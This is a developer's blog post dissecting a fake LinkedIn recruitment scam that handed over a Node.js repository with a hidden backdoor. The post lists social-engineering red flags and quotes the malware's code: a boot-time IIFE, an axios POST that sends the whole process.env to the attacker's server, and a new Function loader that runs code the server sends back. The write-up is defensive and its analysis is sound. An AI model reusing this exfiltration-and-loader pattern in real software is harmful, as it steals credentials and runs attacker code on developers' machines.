DEV Community

crow
crow

Posted on

Anatomy of a Web3 Scam: How a "Job Interview" Almost Installed an RCE Backdoor on My Machine

Introduction

As a Web3 developer, you are always a target. Recently, I went through a fake recruitment process on LinkedIn that was so polished it almost worked. The attackers set up a simulated ecosystem with Slack and Jira, offering a tempting $90–$150/hr Senior Blockchain Engineer role.

But it was a trap. The ultimate goal was to make me locally run a specific Node.js repository containing a sophisticated, multi-stage Remote Code Execution (RCE) backdoor designed to drain developer wallets and exfiltrate credentials.

Here is a complete technical and behavioral teardown of this campaign so you can spot it before running npm install.

Part 1: The Non-Technical Red Flags (Social Engineering)

Before we even look at the code, the attackers made several sloppy mistakes that triggered my engineering intuition:

  • The Instant Resume Review: They "reviewed" and approved my CV almost instantly after I submitted it. Real HR and engineering teams take days; scammers are always in a rush.

  • Timezone & Role Mismatch: The recruiter’s profile claimed they were a Windows Support Agent located in Australia, yet they were hiring for a core Ethereum DeFi platform in London.

  • The Gmail Trap: Despite claiming to have an automated workflow with Jira and Slack, the official test task instructions were sent from a generic, free danxeth436@gmail.com address instead of a corporate domain.

  • The 24-Hour Countdown: They rushed a coding challenge with an aggressive 24-hour deadline before any technical call happened, trying to bypass my judgment with artificial urgency.

Part 2: Technical Deep Dive into the Code

When they handed me the repository danxeth436/eSTOKyam, I refused to run it locally and audited the source directly via browser. Here is how they hid the execution chain:

1. The Trigger: Obfuscation via Boilerplate & IIFE

Inside the repository’s router setup (server/middleware/auth.js), the attackers pulled code from an old MERN-stack tutorial and injected 15 identical boilerplate functions named callEthContract, callPolygonContract, etc., to induce review fatigue.

Hidden right in the middle was a masterfully placed IIFE (Immediately Invoked Function Expression):

const HashedContact = (() => {
  callHashedContract();
})();
Enter fullscreen mode Exit fullscreen mode

Notice those trailing brackets ()? The moment you boot up the backend app using npm run dev or node server.js, the file is required, and this function executes instantly and automatically without needing any active API requests or user interaction.

2. The Exfiltration & The Empty Syringe

Looking into the invoked file server/config/getContract.js , we find the smoking gun inside callHashedContract:

const callHashedContract = () => {
    axios.post(GET_HASHED_URL, { ...process.env }, { headers: { "x-secret-header": "secret" } })
    .then(res => errorHandler(res.data))
    .catch(err => { ... });
}
Enter fullscreen mode Exit fullscreen mode

First, it performs a POST request to their remote server (GET_HASHED_URL), exfiltrating your entire { ...process.env } object—including your local private keys, AWS tokens, and system paths.

Second, the repo itself contains no malware files. It acts as an empty syringe. If the POST request is successful (.then), it passes the server's response directly to a custom errorHandler.

3. Remote Code Execution (RCE) via new Function

Inside that errorHandler, they dynamically spin up a backdoor:

const createHandler = (errCode) => {
  try {
    const handler = new Function('require', errCode);
    return handler;
  } catch (e) { ... }
};

const handlerFunc = createHandler(error);
if (handlerFunc) {
  handlerFunc(require);
}
Enter fullscreen mode Exit fullscreen mode

By using new Function('require', errCode)(require), Node.js compiles and executes arbitrary JavaScript code sent directly from the attacker’s command-and-control server straight into your runtime memory. It completely bypasses static code analysis and local antivirus software. Once executed, it can deploy a token stealer to grab seed phrases from your Chrome extensions (MetaMask, Phantom, etc.).

Part 3: The Aftermath

When I replied to the recruiter in the LinkedIn chat, highlighting this exact RCE backdoor and asking why a staking platform needs to exfiltrate process.env on boot, they went completely silent. Shortly after, the recruiter's account turned into a ghost profile: "LinkedIn Member."

Current Status: I have officially submitted a comprehensive abuse report to GitHub Security detailing the RCE mechanism to take down the danxeth436/eSTOKyam repository.

Key Takeaways for Developers

  1. Context over Code: If a job looks too easy to get, pays too well ($150/hr), and comes from a shady Gmail address—it's a scam.
  2. Audit Before You Install: Never run untrusted test repository suites locally.
  3. Use Inspection Tools: Use tools like npmfs.com to inspect published npm packages or run assignments exclusively in isolated sandbox VMs.

Bonus: Having a Little Fun with the Hacker

Once the architecture of the exploit was crystal clear, I couldn't resist sending a quick technical audit directly to the "recruiter" on LinkedIn. If you're going to attempt a social engineering attack on an engineer, at least make sure your code isn't shouting "RCE BACKDOOR" in plain text.

Here is the exact message I dropped into his inbox to let him know he'd been caught red-handed:

Trolling the scammer recruiter on LinkedIn

Unsurprisingly, the engineering discussion ended right there. Absolute radio silence followed by the account vanishing into thin air.


Stay vigilant, audit your dependencies, and trust your gut!

Top comments (0)